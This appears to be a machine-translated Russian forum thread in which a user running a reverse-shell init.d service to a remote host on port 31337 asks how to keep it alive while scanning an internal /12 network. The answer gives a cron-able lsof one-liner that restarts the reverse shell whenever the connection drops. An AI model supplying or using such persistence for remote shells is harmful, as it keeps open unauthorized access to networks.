Скрипт Debian - перезагрузите процесс, если удаленное соединение не удалось

229
Adam

Я пытаюсь выяснить, как управлять моим Debian и перезагружать скрипт в /etc/init.d, если удаленное, уважаемое соединение не отвечает

что у меня на данный момент есть:

root@pwnpi:~# netstat -nat Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State  tcp 0 512 10.28.4.115:34233 xx.xxx.xxx.xxx:31337 ESTABLISHED 

и я хотел бы перезагрузить скрипт /etc/init.d/reverseshell, если это соединение не УСТАНОВЛЕНО или СЛУШАТЬ

Кто-нибудь может помочь с этим?

0
Термин «перезагрузка» обычно означает всю систему. Вы имеете в виду * перезапуск * процесса (через скрипт инициализации) по некоторым критериям? Пожалуйста, отредактируйте, чтобы уточнить. a CVn 9 лет назад 0
Может быть [этот пункт в UNIX & Linux SE] (http://unix.stackexchange.com/questions/122484/linux-centos-6-restart-network-service-after-lost-ping) отвечает на ваш вопрос? Кроме того: какой смысл перезагружать компьютер, если сетевое соединение потеряно? Если в центре обработки данных происходит сбой в сети (что не должно происходить часто), ваш сервер будет постоянно перезагружаться. Может быть, лучше просто перезапустить сетевые службы ... Наконец: что вы уже пробовали? Где ты застрял? SE ** не ** сервис сценариев. agtoever 9 лет назад 0
Мне нужно отсканировать нашу внутреннюю сеть / 12 в эти выходные, и решение, которое у меня есть (обратная оболочка), выходит из строя каждые несколько часов. Adam 9 лет назад 0

1 ответ на вопрос

0
maiki

Сделайте cron для этой команды

lsof -i4TCP@xx.xxx.xxx.xxx:31337 -sTCP:ESTABLISHED,LISTEN >/dev/null 2>&1 || /etc/init.d/reverseshell restart 

PS : не будь злым :-)

Похожие вопросы